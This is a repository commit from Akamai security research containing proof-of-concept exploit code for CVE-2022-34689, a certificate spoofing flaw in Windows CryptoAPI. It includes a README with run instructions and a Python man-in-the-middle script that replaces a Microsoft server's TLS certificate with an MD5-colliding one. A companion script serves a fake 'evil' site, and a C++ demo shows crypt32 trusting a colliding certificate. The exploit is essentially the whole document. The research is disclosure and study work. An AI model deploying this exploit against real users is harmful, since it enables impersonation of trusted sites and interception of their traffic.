Projects STRLCPY CVE-2022-34689 Commits 35f222eb
🤬
  • Local_demo_results.png
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# CVE-2022-34689 - CryptoAPI spoofing vulnerability
     2 +This is the git repository for our research into CVE-2022-34689.
     3 + 
     4 +For more information about the vulnerability and its exploitation check out [our blog](https://www.akamai.com/blog/security-research/exploiting-critical-spoofing-vulnerability-microsoft-cryptoapi).
     5 + 
     6 +The repository contains code for two types of PoCs: one exploiting Chrome v48 and another focusing on the vulnerable MD5 check in crypt32.dll.
     7 +## Chrome v48 exploit
     8 +This code demonstrates the exploit on Chrome v48 (one that loads a vulnerable _crypt32.dll_, of course). It consists of two Python scripts and eventually spoofs Microsoft's identity.
     9 + 
     10 +Run it as follows:
     11 +```
     12 +Usage: mitm_script.py [path_to_modified_cert] [optional: interface_name] [optional: listening_address]
     13 +Example: sudo python3 mitm_script.py msft_coll.cer eth0 localhost
     14 +```
     15 + 
     16 +https://user-images.githubusercontent.com/114926055/214040642-beb765f7-4788-45e8-836c-a08dc441b5b4.mp4
     17 + 
     18 +## Local demo
     19 +The local demo is a program that takes a certificate and returns the trust status of its `chainContext`.
     20 +It can be used to demonstrate the vulnerable MD5 check in crypt32.dll.
     21 + 
     22 +To run this demo, compile the file `vulnerability_local_demo.cpp`.
     23 +Run the executable, and when prompted, provide two certificates that md5-collide (we provide sample certificates in this repository).
     24 + 
     25 +The program will return the same trustStatus even though the first certificate is legitimate and the second isn't.
     26 + 
     27 +Result example:
     28 + 
     29 +![result example](Local_demo_results.png)
     30 + 
  • Showcase CVE-2022-34689.mp4
    Binary file.
  • evil_coll.cer
    Binary file.
  • ■ ■ ■ ■ ■ ■
    mitm_script.py
     1 + # CVE-2022-34689 PoC code
     2 + # Copyright 2023 Akamai Technologies, Inc.
     3 + #
     4 + # Licensed under the Apache License, Version 2.0 (the
     5 + # "License"); you may not use this file except in
     6 + # compliance with the License. You may obtain a copy
     7 + # of the License at
     8 + #
     9 + # https://www.apache.org/licenses/LICENSE-2.0
     10 + #
     11 + # Unless required by applicable law or agreed to in
     12 + # writing, software distributed under the License is
     13 + # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
     14 + # CONDITIONS OF ANY KIND, either express or implied.
     15 + # See the License for the specific language governing
     16 + # permissions and limitations under the License.
     17 + #
     18 + #
     19 + # mitm_script.py:
     20 + # MITM proxy for the TLS handshake of a "real" TLS server, modifying its end certificate.
     21 + # The connection is terminated after the client responds to the "Server Hello Done" message.
     22 + 
     23 +import socket
     24 +import struct
     25 +import subprocess
     26 +import sys
     27 +import time
     28 + 
     29 +LEGIT_ADDR = "wwwqa.microsoft.com"
     30 +LEGIT_PORT = 443
     31 +LISTEN_PORT = 443
     32 + 
     33 +TYPE_CLIENT_HELLO = 0x01
     34 +TYPE_SERVER_HELLO = 0x02
     35 +TYPE_SERVER_CERT = 0x0b
     36 +TYPE_SERVER_KEY_EXCHANGE = 0x0c
     37 +TYPE_SERVER_HELLO_DONE = 0x0e
     38 +TYPE_SERVER_CERT_STATUS = 0x16
     39 + 
     40 +DEBUG = True
     41 + 
     42 + 
     43 +# Receive exactly <size> bytes from socket <sock>
     44 +def recv_exactly(sock, size):
     45 + result = b''
     46 + 
     47 + while len(result) < size:
     48 + buf = sock.recv(size - len(result))
     49 + if not buf:
     50 + raise RuntimeError('Connection closed')
     51 + result += buf
     52 + 
     53 + return result
     54 + 
     55 + 
     56 +# Receive a TLS 1.2 message on a connection, and verify its message type.
     57 +# This function receives only "handshake records".
     58 +# See also: https://tls12.xargs.org/
     59 +def tls_receive_message_and_verify_type(sock, msg_type, optional_msg_type=None):
     60 + # Get record header
     61 + msg = recv_exactly(sock, 5)
     62 +
     63 + # If "Change Cipher Spec" comes too early, it's probably a TLS 1.3 server which we don't currently support
     64 + if msg[0] == 0x14:
     65 + raise RuntimeError("Server is TLS 1.3, we don't support it")
     66 + 
     67 + # Expect only "Handshake Record" because we terminate before other records are sent
     68 + if msg[0] != 0x16:
     69 + raise RuntimeError(f"Bad record type, expected 0x16, got 0x{msg[0]:x}")
     70 + 
     71 + # Get message length
     72 + (msg_len, ) = struct.unpack_from('>H', msg, 3)
     73 + 
     74 + if DEBUG:
     75 + print(f'[D] Receiving message of length {msg_len}')
     76 + 
     77 + # Get message data
     78 + msg += recv_exactly(sock, msg_len)
     79 + 
     80 + # Ensure message type
     81 + if msg[5] != msg_type and (optional_msg_type is None or msg[5] != optional_msg_type):
     82 + raise RuntimeError(f"Bad message type, expected 0x{msg_type:x}, got 0x{msg[5]:x}")
     83 + 
     84 + return msg
     85 + 
     86 + 
     87 +def modify_cert(server_certs, modified_cert):
     88 + # server_certs is the complete "Server Certificate" TLS handshake message that came from the server.
     89 + # It includes record headers, and then the actual DER-encoded certificates.
     90 + # See also: https://tls12.xargs.org/#server-certificate
     91 + 
     92 + # This function replaces the end-certificate (the first in the list) with our modified_cert,
     93 + # and returns the modified message, formatted once again as a complete "Server Certificates" TLS handshake message.
     94 + 
     95 + # First, ensure the "handshake header" length is OK (we assume the length fits in 2 bytes and doesn't need 3)
     96 + assert server_certs[6] == 0
     97 + assert struct.unpack_from(">H", server_certs, 7)[0] == len(server_certs) - 9
     98 + 
     99 + # Next, ensure the "certificates length" is OK
     100 + assert server_certs[9] == 0
     101 + assert struct.unpack_from(">H", server_certs, 10)[0] == len(server_certs) - 12
     102 + 
     103 + # Now we're ready to read certificates. We just read them one by one into an array.
     104 + pos = 12
     105 + len_remaining = len(server_certs) - 12
     106 + 
     107 + certs = []
     108 + 
     109 + # As long as certificates remain, we can read at least 3 bytes (the length of the next cert)
     110 + while len_remaining >= 3:
     111 + # Read the cert len (assume it fits in 2 bytes and doesn't need 3)
     112 + assert server_certs[pos] == 0
     113 + (cert_len, ) = struct.unpack_from(">H", server_certs, pos+1)
     114 + assert cert_len <= len_remaining - 3
     115 + 
     116 + print(f"[+] Found certificate #{len(certs) + 1}, length {cert_len}")
     117 + 
     118 + # Read the cert by its length
     119 + pos += 3
     120 + certs.append(server_certs[pos:pos+cert_len])
     121 + pos += cert_len
     122 + len_remaining -= 3
     123 + len_remaining -= cert_len
     124 + 
     125 + # Make sure we reached the end of the message
     126 + assert len_remaining == 0
     127 + 
     128 + # The end-cert must appear first. This is the cert we replace.
     129 + print('[+] Replacing cert')
     130 + certs[0] = modified_cert
     131 + 
     132 + # Now build a TLS "Server Certificates" handshake message
     133 + print('[+] Reconstructing server certificates')
     134 + 
     135 + # Append the certificates one by one with a length for each one
     136 + res = b''
     137 + for cert in certs:
     138 + res += b'\x00' + struct.pack(">H", len(cert))
     139 + res += cert
     140 + 
     141 + # Prepend "certificates length" field, then prepend handshake header, then prepend record header
     142 + res = b'\x00' + struct.pack(">H", len(res)) + res
     143 + res = b'\x0b\x00' + struct.pack(">H", len(res)) + res
     144 + res = server_certs[:3] + struct.pack(">H", len(res)) + res
     145 + 
     146 + return res
     147 + 
     148 + 
     149 +def main():
     150 + listen_addr = "192.168.0.180"
     151 + 
     152 + if len(sys.argv) < 2:
     153 + print('Usage: mitm_script.py [path_to_modified_cert] [optional: interface_name] [optional: listening_address]')
     154 + return
     155 + 
     156 + if len(sys.argv) >= 4:
     157 + interface = sys.argv[2]
     158 + listen_addr = str(sys.argv[3])
     159 + 
     160 + elif len(sys.argv) == 3:
     161 + interface = sys.argv[2]
     162 + else:
     163 + interface = "ens33"
     164 + 
     165 + with open(sys.argv[1], 'rb') as modified_cert_file:
     166 + modified_cert = modified_cert_file.read()
     167 + 
     168 + if DEBUG:
     169 + print(f'[+] Chosen interface: {listen_addr}')
     170 + print(f'[+] Certificate path: {sys.argv[1]}')
     171 + print(f'[+] Chosen interface: {interface}')
     172 + 
     173 + 
     174 + server = socket.socket()
     175 + server.bind((listen_addr, LISTEN_PORT))
     176 + server.listen()
     177 + print(f'[+] Listening on {listen_addr}:{LISTEN_PORT}')
     178 + client, (client_addr, client_port) = server.accept()
     179 + 
     180 + print(f'[+] Got connection from {client_addr}:{client_port}')
     181 + 
     182 + client_hello = tls_receive_message_and_verify_type(client, TYPE_CLIENT_HELLO)
     183 + 
     184 + print(f'[+] Received client hello')
     185 + print(f'[+] Connecting to {LEGIT_ADDR}:{LEGIT_PORT}')
     186 + 
     187 + legit = socket.socket()
     188 + legit.connect((LEGIT_ADDR, LEGIT_PORT))
     189 + 
     190 + print(f'[+] Sending client hello')
     191 + legit.sendall(client_hello)
     192 + 
     193 + print(f'[+] Receiving server hello')
     194 + server_hello = tls_receive_message_and_verify_type(legit, TYPE_SERVER_HELLO)
     195 + 
     196 + print(f'[+] Receiving server certificates')
     197 + server_certs = tls_receive_message_and_verify_type(legit, TYPE_SERVER_CERT)
     198 + 
     199 + print(f'[+] Modifying server certificates')
     200 + modified_server_certs = modify_cert(server_certs, modified_cert)
     201 + 
     202 + print(f'[+] Receiving server key exchange / optional certificate status')
     203 + msg = tls_receive_message_and_verify_type(legit, TYPE_SERVER_KEY_EXCHANGE, TYPE_SERVER_CERT_STATUS)
     204 + if msg[5] == TYPE_SERVER_KEY_EXCHANGE:
     205 + cert_status = b''
     206 + server_key_exchange = msg
     207 + else:
     208 + cert_status = msg
     209 + print(f'[+] Got certificate status, receiving server key exchange')
     210 + server_key_exchange = tls_receive_message_and_verify_type(legit, TYPE_SERVER_KEY_EXCHANGE)
     211 + 
     212 + print(f'[+] Receiving server hello done')
     213 + server_hello_done = tls_receive_message_and_verify_type(legit, TYPE_SERVER_HELLO_DONE)
     214 + 
     215 + print(f'[+] Proxying everything back to client')
     216 + client.sendall(server_hello + modified_server_certs + cert_status + server_key_exchange + server_hello_done)
     217 + 
     218 + print(f'[+] Waiting for client response')
     219 + client.recv(4096)
     220 + 
     221 + print(f'[+] Killing sockets')
     222 + server.close()
     223 + legit.close()
     224 + client.close()
     225 + 
     226 + print(f'[+] Killing lingering TCP connections')
     227 + subprocess.Popen(["tcpkill", "-i", interface, "port", "443"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
     228 + time.sleep(2)
     229 + subprocess.run(["pkill", "tcpkill"])
     230 +
     231 + print(f'[+] Running own server')
     232 + subprocess.run(["python3", "serve_website.py"])
     233 + 
     234 +if __name__ == '__main__':
     235 + try:
     236 + main()
     237 + except Exception as e:
     238 + print(f'[E] {str(e)}')
     239 + 
  • msft_coll.cer
    Binary file.
  • ■ ■ ■ ■ ■ ■
    serve_website.py
     1 + # CVE-2022-34689 PoC code
     2 + # Copyright 2023 Akamai Technologies, Inc.
     3 + #
     4 + # Licensed under the Apache License, Version 2.0 (the
     5 + # "License"); you may not use this file except in
     6 + # compliance with the License. You may obtain a copy
     7 + # of the License at
     8 + #
     9 + # https://www.apache.org/licenses/LICENSE-2.0
     10 + #
     11 + # Unless required by applicable law or agreed to in
     12 + # writing, software distributed under the License is
     13 + # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
     14 + # CONDITIONS OF ANY KIND, either express or implied.
     15 + # See the License for the specific language governing
     16 + # permissions and limitations under the License.
     17 + #
     18 + #
     19 + # serve_evil.py:
     20 + # Nothing more than a regular TLS web server.
     21 + 
     22 +import http.server
     23 +import time
     24 +from http.server import HTTPServer, BaseHTTPRequestHandler
     25 + 
     26 +import ssl
     27 +class SimpleHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
     28 + 
     29 + def do_GET(self):
     30 + print (f"Recived GET path: {self.path}")
     31 + if self.path == "/":
     32 + self.path = "index.html"
     33 + return http.server.SimpleHTTPRequestHandler.do_GET(self)
     34 + if "ello" in self.path:
     35 + self.send_response(200)
     36 + self.send_header("Content-type", "text/html")
     37 + self.end_headers()
     38 + name = "World!!"
     39 + html = f"<html><head></head><body><h1>Very Evil Site</h1><a href="">Malicious Link</a></body></html>"
     40 + self.wfile.write(bytes(html,"utf8"))
     41 + else:
     42 + self.send_response(403)
     43 + self.end_headers()
     44 + 
     45 +if __name__ == '__main__':
     46 + '''path = input("File name: ")
     47 + file = open(path, "rb+")
     48 + out = open("out.txt","wb+")
     49 + content = file.read(1024)
     50 + out.write(content)'''
     51 + flag = False
     52 + while not flag:
     53 + try:
     54 + httpd = HTTPServer(('192.168.0.180', 443), SimpleHTTPRequestHandler)
     55 + 
     56 + httpd.socket = ssl.wrap_socket(httpd.socket,
     57 + keyfile="evil_key.pem",
     58 + certfile="evil.crt", server_side=True)
     59 + print(f"[V] Started serving evil site")
     60 + httpd.serve_forever()
     61 + flag = True
     62 + except OSError:
     63 + print("[*]Waiting for socket to release...")
     64 + time.sleep(5)
     65 + 
     66 + 
  • ■ ■ ■ ■ ■ ■
    vulnerability_local_demo.cpp
     1 +/* CVE-2022-34689 PoC code
     2 + * Copyright 2023 Akamai Technologies, Inc.
     3 + *
     4 + * Licensed under the Apache License, Version 2.0 (the
     5 + * "License"); you may not use this file except in
     6 + * compliance with the License. You may obtain a copy
     7 + * of the License at
     8 + *
     9 + * https://www.apache.org/licenses/LICENSE-2.0
     10 + *
     11 + * Unless required by applicable law or agreed to in
     12 + * writing, software distributed under the License is
     13 + * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
     14 + * CONDITIONS OF ANY KIND, either express or implied.
     15 + * See the License for the specific language governing
     16 + * permissions and limitations under the License.
     17 + */
     18 + 
     19 + 
     20 +#pragma comment(lib, "crypt32.lib")
     21 + 
     22 +#include <stdio.h>
     23 +#include <windows.h>
     24 +#include <Wincrypt.h>
     25 +#include <wchar.h>
     26 +#include <string>
     27 +#include <iostream>
     28 + 
     29 +#define MY_ENCODING_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)
     30 +#define CERTIFICATE_BUFFER_SIZE 8192
     31 + 
     32 +HANDLE certLegitFileHandle = NULL;
     33 +HANDLE certMaliciousFileHandle = NULL;
     34 +LPWSTR pszNameString;
     35 +CERT_CHAIN_PARA ChainPara;
     36 + 
     37 +using namespace std;
     38 +void MyHandleError(string s);
     39 +HCERTCHAINENGINE create_chain_engine() {
     40 + 
     41 + CERT_CHAIN_ENGINE_CONFIG ChainConfig;
     42 + CERT_ENHKEY_USAGE EnhkeyUsage;
     43 + CERT_USAGE_MATCH CertUsage;
     44 + HCERTCHAINENGINE hChainEngine;
     45 + HCERTSTORE hCertStore;
     46 + 
     47 + // Initialize CertEngine configurations
     48 + if (!(pszNameString = (LPWSTR)malloc(256)))
     49 + MyHandleError("Memory allocation failed.");
     50 + EnhkeyUsage.cUsageIdentifier = 0;
     51 + EnhkeyUsage.rgpszUsageIdentifier = NULL;
     52 + CertUsage.dwType = USAGE_MATCH_TYPE_AND;
     53 + CertUsage.Usage = EnhkeyUsage;
     54 + ChainPara.cbSize = sizeof(CERT_CHAIN_PARA);
     55 + ChainPara.RequestedUsage = CertUsage;
     56 + 
     57 + ChainConfig.cbSize = sizeof(CERT_CHAIN_ENGINE_CONFIG);
     58 + ChainConfig.hRestrictedRoot = NULL;
     59 + ChainConfig.hRestrictedTrust = NULL;
     60 + ChainConfig.hRestrictedOther = NULL;
     61 + ChainConfig.cAdditionalStore = 1;
     62 + //the flag CERT_CHAIN_CACHE_END_CERT will enable the caching mechanism for end certificates
     63 + //which will allow us to inject our modified legitimate certificate into the cache.
     64 + ChainConfig.dwFlags = CERT_CHAIN_CACHE_END_CERT;
     65 + ChainConfig.dwUrlRetrievalTimeout = 0;
     66 + ChainConfig.MaximumCachedCertificates = 11;
     67 + ChainConfig.CycleDetectionModulus = 0;
     68 + ChainConfig.hExclusiveRoot = NULL;
     69 + ChainConfig.hExclusiveTrustedPeople = NULL;
     70 + if (! (hCertStore = CertOpenSystemStore(NULL, L"CA")))
     71 + {
     72 + MyHandleError("The CA system store did not open.");
     73 + }
     74 + ChainConfig.rghAdditionalStore = &hCertStore;
     75 + 
     76 + // Create the custom certificate chain engine from the configuration.
     77 + 
     78 + if (CertCreateCertificateChainEngine(
     79 + &ChainConfig,
     80 + &hChainEngine))
     81 + {
     82 + printf("[V] The chain engine has been created.\n");
     83 + }
     84 + else
     85 + {
     86 + MyHandleError("[X] The engine creation function failed.");
     87 + }
     88 + return NULL;
     89 +}
     90 +bool get_user_cert_context(PCCERT_CONTEXT* context)
     91 +{
     92 + CERT_CONTEXT pDesiredCert;
     93 + BOOL result = FALSE;
     94 + string certFile;
     95 + HRESULT hr = S_OK;
     96 + BYTE certEncoded[CERTIFICATE_BUFFER_SIZE] = { 0 };
     97 + DWORD certEncodedSize = 0L;
     98 + 
     99 + for (int i = 0; i < 2; i++)
     100 + {
     101 + printf("[+] Enter certificate path: ");
     102 + cin >> certFile;
     103 + certLegitFileHandle = CreateFileA(certFile.c_str(),
     104 + GENERIC_READ,
     105 + 0,
     106 + NULL,
     107 + OPEN_EXISTING,
     108 + FILE_ATTRIBUTE_NORMAL,
     109 + NULL);
     110 + if (INVALID_HANDLE_VALUE == certLegitFileHandle) {
     111 + hr = HRESULT_FROM_WIN32(GetLastError());
     112 + MyHandleError("Cert file could not be opened!");
     113 + }
     114 + 
     115 + if (!SUCCEEDED(hr)) {
     116 + return -1;
     117 + }
     118 + printf("[V] Cert file opened!\n");
     119 + if (GetFileSize(certLegitFileHandle, NULL) <= CERTIFICATE_BUFFER_SIZE) {
     120 + result = ReadFile(certLegitFileHandle,
     121 + certEncoded,
     122 + CERTIFICATE_BUFFER_SIZE,
     123 + &certEncodedSize,
     124 + NULL);
     125 + if (!result) {
     126 + return -1;
     127 + MyHandleError("Cert reading error");
     128 + }
     129 + else
     130 + {
     131 + printf("[*] Cert file read to buffer!\n");
     132 + pDesiredCert.cbCertEncoded = certEncodedSize;
     133 + pDesiredCert.pbCertEncoded = certEncoded;
     134 + //create a certificate context from the given certificate
     135 + if (context[i] = CertCreateCertificateContext(
     136 + MY_ENCODING_TYPE, // The encoding type
     137 + pDesiredCert.pbCertEncoded, // The encoded data from
     138 + pDesiredCert.cbCertEncoded)) // The length of the encoded data
     139 + {
     140 + printf("[V] A new certificate Context has been created.\n");
     141 + printf("[*] Cert size of the cert is: %p\n", pDesiredCert.cbCertEncoded);
     142 + printf("[*] Cert size of the cert in context: %p\n", context[i]->cbCertEncoded);
     143 + }
     144 + }
     145 + }
     146 +
     147 + }
     148 + return 1;
     149 +
     150 +}
     151 +string return_status(PCCERT_CHAIN_CONTEXT pChainContext)
     152 +{
     153 + //---------------------------------------------------------------
     154 + // Display some of the contents of the chain.
     155 + 
     156 + /*printf("[*] The size of the chain context "
     157 + "is %d. \n", pChainContext->cbSize);
     158 + printf("[*] %d simple chains found.\n", pChainContext->cChain);
     159 +
     160 + printf("\nInfo status for the chain:\n");
     161 + DWORD infoStatus = pChainContext->TrustStatus.dwInfoStatus;
     162 + 
     163 + if ((infoStatus & CERT_TRUST_HAS_EXACT_MATCH_ISSUER) != 0)
     164 + {
     165 + printf("An exact match issuer certificate has been found for "
     166 + "this certificate.\n");
     167 + }
     168 + if ((infoStatus & CERT_TRUST_HAS_KEY_MATCH_ISSUER) != 0)
     169 + {
     170 + printf("A key match issuer certificate has been found for this "
     171 + "certificate.\n");
     172 + }
     173 + if ((infoStatus & CERT_TRUST_HAS_NAME_MATCH_ISSUER) != 0)
     174 + {
     175 + printf("A name match issuer certificate has been found for this "
     176 + "certificate.\n");
     177 + }
     178 + if ((infoStatus & CERT_TRUST_IS_SELF_SIGNED) != 0)
     179 + {
     180 + printf("This certificate is self-signed.\n");
     181 + }
     182 + if ((infoStatus & CERT_TRUST_IS_COMPLEX_CHAIN) != 0)
     183 + {
     184 + printf("The certificate chain created is a complex chain.\n");
     185 + }
     186 + else // No dwInfoStatus bits set
     187 + {
     188 + printf("No information status reported.\n");
     189 + }*/
     190 + DWORD errorStatus = pChainContext->TrustStatus.dwErrorStatus;
     191 + if ((errorStatus & CERT_TRUST_IS_NOT_TIME_VALID) != 0)
     192 + {
     193 + return "This certificate or one of the certificates in the "
     194 + "certificate chain is not time-valid.";
     195 + }
     196 + if ((errorStatus & CERT_TRUST_IS_REVOKED) != 0)
     197 + {
     198 + return "Trust for this certificate or one of the certificates "
     199 + "in the certificate chain has been revoked.";
     200 + }
     201 + if ((errorStatus & CERT_TRUST_IS_NOT_SIGNATURE_VALID) != 0)
     202 + {
     203 + return "The certificate or one of the certificates in the "
     204 + "certificate chain does not have a valid signature.";
     205 + }
     206 + if ((errorStatus & CERT_TRUST_IS_NOT_VALID_FOR_USAGE) != 0)
     207 + {
     208 + return "The certificate or certificate chain is not valid "
     209 + "in its proposed usage.";
     210 + }
     211 + if ((errorStatus & CERT_TRUST_IS_UNTRUSTED_ROOT) != 0)
     212 + {
     213 + return "The certificate or certificate chain is based "
     214 + "on an untrusted root.";
     215 + }
     216 + if ((errorStatus & CERT_TRUST_REVOCATION_STATUS_UNKNOWN) != 0)
     217 + {
     218 + return "The revocation status of the certificate or one of the"
     219 + "certificates in the certificate chain is unknown.";
     220 + }
     221 + if ((errorStatus & CERT_TRUST_IS_CYCLIC) != 0)
     222 + {
     223 + return "One of the certificates in the chain was issued by a "
     224 + "certification authority that the original certificate "
     225 + "had certified.";
     226 + }
     227 + if ((errorStatus & CERT_TRUST_IS_PARTIAL_CHAIN) != 0)
     228 + {
     229 + return "The certificate chain is not complete.";
     230 + }
     231 + if ((errorStatus & CERT_TRUST_CTL_IS_NOT_TIME_VALID) != 0)
     232 + {
     233 + return "A CTL used to create this chain was not time-valid.";
     234 + }
     235 + if ((errorStatus & CERT_TRUST_CTL_IS_NOT_SIGNATURE_VALID) != 0)
     236 + {
     237 + return "A CTL used to create this chain did not have a valid "
     238 + "signature.";
     239 + }
     240 + if ((errorStatus & CERT_TRUST_CTL_IS_NOT_VALID_FOR_USAGE) != 0)
     241 + {
     242 + return "A CTL used to create this chain did not have a valid "
     243 + "signature.";
     244 + }
     245 + else // Chain is trusted
     246 + {
     247 + return "CERT_TRUST_NO_ERROR";
     248 + }
     249 +}
     250 +int main()
     251 +{
     252 +
     253 + HCERTCHAINENGINE hChainEngine = NULL;
     254 + PCCERT_CHAIN_CONTEXT pChainContext;
     255 + DWORD dwFlags= CERT_CHAIN_CACHE_END_CERT;
     256 + PCCERT_CONTEXT pCertContext[2];
     257 + HRESULT hr = S_OK;
     258 + string results[2];
     259 + //this CVE applies to applications that enabled their cache for end certificates, to do that the applications need to use the dwflag CERT_CHAIN_CACHE_END_CERT
     260 + //We can either specify it directly to the function or create a chain engine that uses this flag
     261 + // enable this to create a chain engine with the right flag
     262 + //hChainEngine = create_chain_engine();
     263 +
     264 + //get the user certificates as input and convert them to PCCERT_CONTEXT struct
     265 + get_user_cert_context(pCertContext);
     266 + //CertGetCertificateChain is the WinAPI that calls the internal vulnerable functions
     267 + //here we supply the chain engine with the correct flag and our certificate contexts we got from the user
     268 + //when the function return we print the TrustStatus of both pChainContexts
     269 + for (int i = 0; i <= 1; i++)
     270 + {
     271 + if (CertGetCertificateChain
     272 + (hChainEngine,
     273 + pCertContext[i],
     274 + NULL,
     275 + NULL,
     276 + &ChainPara,
     277 + dwFlags,
     278 + NULL,
     279 + &pChainContext))
     280 + {
     281 + printf("[*] The chain context has been created. \n");
     282 + //when we inspect the pChainContext.TrustStatus.dwErrorStatus it shows as valid with no errors
     283 + //most application dont use CertVerifyCertificateChainPolicy and only check this field
     284 + results[i] = return_status(pChainContext);
     285 + // When finished, free the certificate context.
     286 + CertFreeCertificateContext(pCertContext[i]);
     287 + CertFreeCertificateChain(pChainContext);
     288 + }
     289 + else
     290 + {
     291 + MyHandleError("[X] The chain could not be created.");
     292 + CloseHandle(certLegitFileHandle);
     293 + CloseHandle(certMaliciousFileHandle);
     294 + return -1;
     295 + }
     296 + }
     297 + printf("[!] TrustStatus for first certificate: %s\n", results[0].c_str());
     298 + printf("[!] TrustStatus for second Certificate: %s\n", results[1].c_str());
     299 + 
     300 + //---------------------------------------------------------
     301 + // Free handles
     302 + CertFreeCertificateChainEngine(hChainEngine);
     303 + CloseHandle(certLegitFileHandle);
     304 + CloseHandle(certMaliciousFileHandle);
     305 + // Free memory for pszNameString.
     306 + if (pszNameString)
     307 + free(pszNameString);
     308 + printf("[*] All handles have been released.\n");
     309 +} // end main
     310 + 
     311 +//-------------------------------------------------------------------
     312 +// Microsofts MyHandleError, a simple error
     313 +// handling function to print an error message and exit
     314 +// the program.
     315 + 
     316 +void MyHandleError(string s)
     317 +{
     318 + fprintf(stderr, "[E] An error occurred in running the program. \n");
     319 + fprintf(stderr, "[E] %s\n", s.c_str());
     320 + fprintf(stderr, "[E] Error number %x.\n", GetLastError());
     321 + fprintf(stderr, "[*] Program terminating. \n");
     322 + exit(1);
     323 +} // end MyHandleError
     324 + 
Please wait...
Page is in error, reload to recover